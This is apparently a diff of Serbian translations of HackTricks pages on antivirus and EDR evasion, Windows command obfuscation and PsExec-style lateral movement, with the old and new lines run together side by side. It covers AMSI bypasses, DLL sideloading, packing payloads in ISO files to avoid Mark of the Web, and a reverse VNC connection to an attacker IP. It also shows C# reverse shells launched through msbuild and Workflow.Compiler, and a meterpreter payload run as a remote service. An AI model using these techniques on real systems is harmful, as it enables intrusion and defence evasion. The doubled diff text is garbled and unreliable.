Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26. Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me poređenje normalnog Havoc EXE payload-a vs normalnog Havoc DLL-a</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me poređenje normalnog Havoc EXE payload-a vs normalnog Havoc DLL-a</p></figcaption></figure>
Sada ćemo pokazati neke trikove koje možete koristiti sa DLL datotekama da biste bili mnogo stealthier. Sada ćemo pokazati neke trikove koje možete koristiti sa DLL datotekama da biste bili mnogo neprimetniji.
## DLL Sideloading & Proxying ## DLL Sideloading & Proxying
**DLL Sideloading** koristi prednost reda pretrage DLL-ova koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload zajedno. **DLL Sideloading** koristi prednost reda pretrage DLL-a koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload zajedno.
Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript: Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
@ -94,7 +100,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
``` ```
{% endcode %} {% endcode %}
Ova komanda će ispisati listu programa podložnih DLL hijackingu unutar "C:\Program Files\\" i DLL datoteka koje pokušavaju da učitaju. Ova komanda će prikazati listu programa podložnih DLL hijackingu unutar "C:\Program Files\\" i DLL datoteka koje pokušavaju da učitaju.
Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni. Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
@ -115,7 +121,7 @@ Ovo su koraci koje sam pratio:
``` ```
{% endcode %} {% endcode %}
Poslednja komanda će nam dati 2 fajla: šablon izvorne koda DLL-a i originalni preimenovani DLL. Poslednja komanda će nam dati 2 fajla: šablon izvorne DLL datoteke i originalnu preimenovanu DLL.
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -139,7 +145,7 @@ Preporučujem da pogledate [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/v
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze je alat za payload za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršenja` `Freeze je alat za payload koji se koristi za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršavanja`
Možete koristiti Freeze da učitate i izvršite svoj shellcode na diskretan način. Možete koristiti Freeze da učitate i izvršite svoj shellcode na diskretan način.
``` ```
@ -151,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
Izbegavanje je samo igra mačke i miša, ono što danas funkcioniše može biti otkriveno sutra, tako da nikada ne oslanjajte se samo na jedan alat, ako je moguće, pokušajte da povežete više tehnika izbegavanja. Izbegavanje je samo igra mačke i miša, ono što danas funkcioniše može biti otkriveno sutra, zato nikada ne oslanjajte se samo na jedan alat, ako je moguće, pokušajte da povežete više tehnika izbegavanja.
{% endhint %} {% endhint %}
## AMSI (Interfejs za skeniranje protiv malvera) ## AMSI (Interfejs za skeniranje protiv malvera)
AMSI je stvoren da spreči "[malver bez datoteka](https://en.wikipedia.org/wiki/Fileless\_malware)". U početku, AV-ovi su mogli da skeniraju samo **datoteke na disku**, tako da ako biste nekako mogli da izvršite payload-ove **direktno u memoriji**, AV nije mogao ništa da učini da to spreči, jer nije imao dovoljno uvida. AMSI je stvoren da spreči "[malver bez datoteka](https://en.wikipedia.org/wiki/Fileless\_malware)". U početku, AV-ovi su mogli da skeniraju **datoteke na disku**, tako da ako biste nekako izvršili payload-ove **direktno u memoriji**, AV nije mogao ništa da uradi da to spreči, jer nije imao dovoljno uvida.
AMSI funkcija je integrisana u ove komponente Windows-a. AMSI funkcija je integrisana u ove komponente Windows-a.
@ -182,13 +188,13 @@ Postoji nekoliko načina da se zaobiđe AMSI:
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije. Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. To čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno. Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. Ovo čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
* **AMSI zaobilaženje** * **AMSI Bypass**
Pošto se AMSI implementira učitavanjem DLL-a u proces powershell-a (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje. Pošto je AMSI implementiran učitavanjem DLL-a u proces powershell-a (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje.
**Prisiljavanje greške** **Prisiljavanje na grešku**
Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) će rezultirati time da nijedno skeniranje neće biti inicirano za trenutni proces. Prvobitno je ovo otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio potpis da spreči širu upotrebu. Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) će rezultirati time da nijedno skeniranje neće biti inicirano za trenutni proces. Prvobitno je ovo otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio potpis da spreči širu upotrebu.
@ -218,7 +224,7 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**Memory Patching** **Memory Patching**
Ova tehnika je prvobitno otkrivena od strane [@RastaMouse](https://twitter.com/\_RastaMouse/) i uključuje pronalaženje adrese za funkciju "AmsiScanBuffer" u amsi.dll (odgovornu za skeniranje korisničkog unosa) i prepisivanje sa instrukcijama da vrati kod za E\_INVALIDARG, na ovaj način, rezultat stvarnog skeniranja će biti 0, što se tumači kao čist rezultat. Ova tehnika je prvobitno otkrivena od strane [@RastaMouse](https://twitter.com/\_RastaMouse/) i uključuje pronalaženje adrese za funkciju "AmsiScanBuffer" u amsi.dll (odgovornu za skeniranje korisničkog unosa) i prepisivanje sa instrukcijama da vrati kod za E\_INVALIDARG, na ovaj način, rezultat stvarnog skeniranja će vratiti 0, što se tumači kao čist rezultat.
{% hint style="info" %} {% hint style="info" %}
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation. Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
@ -250,7 +256,7 @@ Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnj
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, upozoravajući i sprečavajući krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju). SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, čime će upozoriti i sprečiti krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju).
**MoTW** (Mark of The Web) je [NTFS Alternativni Podaci Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta. **MoTW** (Mark of The Web) je [NTFS Alternativni Podaci Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta.
@ -260,7 +266,7 @@ SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobi
Važno je napomenuti da izvršne datoteke potpisane **pouzdanom** potpisnom sertifikatom **neće aktivirati SmartScreen**. Važno je napomenuti da izvršne datoteke potpisane **pouzdanom** potpisnom sertifikatom **neće aktivirati SmartScreen**.
{% endhint %} {% endhint %}
Veoma efikasan način da sprečite da vaši payloadi dobiju Mark of The Web je pakovanje unutar nekog oblika kontejnera poput ISO-a. To se dešava jer Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumene. Veoma efikasan način da sprečite da vaši payload-i dobiju Mark of The Web je pakovanje unutar nekog oblika kontejnera kao što je ISO. To se dešava jer Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumene.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -302,13 +308,13 @@ Većina C2 okvira (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već
* **Fork\&Run** * **Fork\&Run**
Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg zloćudnog koda u taj novi proces, izvršavanje vašeg zloćudnog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**. Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg malicioznog koda u taj novi proces, izvršavanje vašeg malicioznog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
* **Inline** * **Inline**
Radi se o injektovanju zloćudnog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši. Radi se o injektovanju malicioznog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši.
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -320,11 +326,11 @@ Takođe možete učitati C# assembly-e **iz PowerShell-a**, pogledajte [Invoke-S
## Using Other Programming Languages ## Using Other Programming Languages
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti zloćudni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpreter-a instaliranom na SMB deljenju pod kontrolom napadača**. Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti maliciozni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpretera instaliranom na SMB deljenju pod kontrolom napadača**.
Dajući pristup Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine. Dajući pristup Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
Repozitorijum ukazuje: Defender još uvek skenira skripte, ali korišćenjem Go, Java, PHP itd. imamo **više fleksibilnosti da zaobiđemo statične potpise**. Testiranje sa nasumičnim neobfuskovanim reverse shell skriptama u ovim jezicima se pokazalo uspešnim. Repozitorijum ukazuje: Defender i dalje skenira skripte, ali korišćenjem Go, Java, PHP itd. imamo **više fleksibilnosti da zaobiđemo statične potpise**. Testiranje sa nasumičnim neobfuskovanim reverse shell skriptama u ovim jezicima se pokazalo uspešnim.
## Advanced Evasion ## Advanced Evasion
@ -344,16 +350,16 @@ Ovo je takođe još jedan odličan govor od [@mariuszbit](https://twitter.com/ma
### **Check which parts Defender finds as malicious** ### **Check which parts Defender finds as malicious**
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **ukloniti delove binarne datoteke** dok ne **otkrije koji deo Defender** smatra zloćudnim i podeliti ga sa vama.\ Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **ukloniti delove binarne datoteke** dok ne **otkrije koji deo Defender** smatra malicioznim i podeliti ga sa vama.\
Drugi alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa otvorenom web stranicom koja nudi uslugu na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) Drugi alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa otvorenom web stranicom koja nudi uslugu na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server** ### **Telnet Server**
Do Windows 10, svi Windows su dolazili sa **Telnet serverom** koji ste mogli instalirati (kao administrator) tako što ćete: Do Windows 10, svi Windows su dolazili sa **Telnet serverom** koji ste mogli instalirati (kao administrator) tako što ste:
```bash ```bash
pkgmgr /iu:"TelnetServer" /quiet pkgmgr /iu:"TelnetServer" /quiet
``` ```
Napravite da se **pokrene** kada se sistem pokrene i **izvršite** ga sada: Neka **počinje** kada se sistem pokrene i **pokreni** ga sada:
```bash ```bash
sc config TlntSVR start= auto obj= localsystem sc config TlntSVR start= auto obj= localsystem
``` ```
@ -376,12 +382,12 @@ Zatim, premestite binarni _**winvnc.exe**_ i **novokreirani** fajl _**UltraVNC.i
#### **Obrnuta veza** #### **Obrnuta veza**
**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i pokrenite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` **Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i izvršite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari **UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari
* Ne pokrećite `winvnc` ako već radi ili ćete aktivirati [popup](https://i.imgur.com/1SROTTl.png). proverite da li radi sa `tasklist | findstr winvnc` * Ne pokrećite `winvnc` ako već radi ili ćete aktivirati [popup](https://i.imgur.com/1SROTTl.png). proverite da li radi sa `tasklist | findstr winvnc`
* Ne pokrećite `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će se otvoriti [prozor za konfiguraciju](https://i.imgur.com/rfMQWcf.png) * Ne pokrećite `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će otvoriti [prozor za konfiguraciju](https://i.imgur.com/rfMQWcf.png)
* Ne pokrećite `winvnc -h` za pomoć ili ćete aktivirati [popup](https://i.imgur.com/oc18wcu.png) * Ne pokrećite `winvnc -h` za pomoć ili ćete aktivirati [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT ### GreatSCT
@ -414,7 +420,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Prvi C# Reverznog shell-a #### Prvi C# Revershell
Kompajlirajte ga sa: Kompajlirajte ga sa:
``` ```
@ -501,7 +507,7 @@ catch (Exception err) { }
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
``` ```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57b815abe21ef04857b066) [REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639) [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
@ -563,17 +569,23 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) * [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,6 +15,14 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Informacije o sistemu ## Informacije o sistemu
### Informacije o verziji i zakrpama ### Informacije o verziji i zakrpama
@ -74,7 +82,7 @@ dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
``` ```
## Informacije o domenu ## Информације о домену
```bash ```bash
# Generic AD info # Generic AD info
echo %USERDOMAIN% #Get domain name echo %USERDOMAIN% #Get domain name
@ -326,7 +334,7 @@ who^ami #whoami
``` ```
### DOSfuscation ### DOSfuscation
Generiše obfuskovanu CMD liniju Generiše obfuskiranu CMD liniju
```powershell ```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation cd Invoke-DOSfuscation
@ -338,7 +346,7 @@ encoding
``` ```
### Listen address ACLs ### Listen address ACLs
Možete slušati na [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) bez administratora. Možete slušati na [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) bez administratorskih prava.
```bash ```bash
netsh http show urlacl netsh http show urlacl
``` ```
@ -381,7 +389,7 @@ i=system("net localgroup administrators otherAcc /add");
return 0; return 0;
} }
``` ```
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream) ## CheatSheet za alternativne podatkovne tokove (ADS/Alternativni podatkovni tok)
**Primeri su preuzeti sa** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ima mnogo više tamo!** **Primeri su preuzeti sa** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ima mnogo više tamo!**
```bash ```bash
@ -409,6 +417,15 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
# Execute a script stored in an ADS using PowerShell # Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt powershell -ep bypass - < c:\temp:ttt
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Pogledajte iz perspektive hakera na vaše web aplikacije, mrežu i oblak
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,11 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Kako funkcionišu ## Kako funkcionišu
Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB: Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB:
1. **Kopiranje binarnog fajla servisa na ADMIN$ share preko SMB** se vrši. 1. **Kopiranje binarnog fajla servisa na ADMIN$ deljenje preko SMB** se vrši.
2. **Kreiranje servisa na daljinskoj mašini** se vrši upućivanjem na binarni fajl. 2. **Kreiranje servisa na daljinskoj mašini** se vrši upućivanjem na binarni fajl.
3. Servis se **pokreće daljinski**. 3. Servis se **pokreće daljinski**.
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**. 4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**.
@ -28,9 +32,9 @@ Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa
Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskovan korišćenjem Veil-a da bi se izbegla antivirusna detekcija), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju: Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskovan korišćenjem Veil-a da bi se izbegla antivirusna detekcija), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju:
* **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ share iz komandne linije, iako može biti smešten bilo gde u fajl sistemu da bi ostao skriven. * **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ deljenje iz komandne linije, iako može biti smešten bilo gde u fajl sistemu da bi ostao skriven.
* **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa na daljinu, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl. * **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa na daljinu, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl.
* **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati greškom "time-out" zbog toga što binarni fajl nije pravi servisni binarni fajl i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla. * **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati "time-out" greškom zbog toga što binarni fajl nije pravi servisni binarni fajl i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla.
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno inicirana. Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno inicirana.
@ -50,6 +54,10 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
{% endcode %} {% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
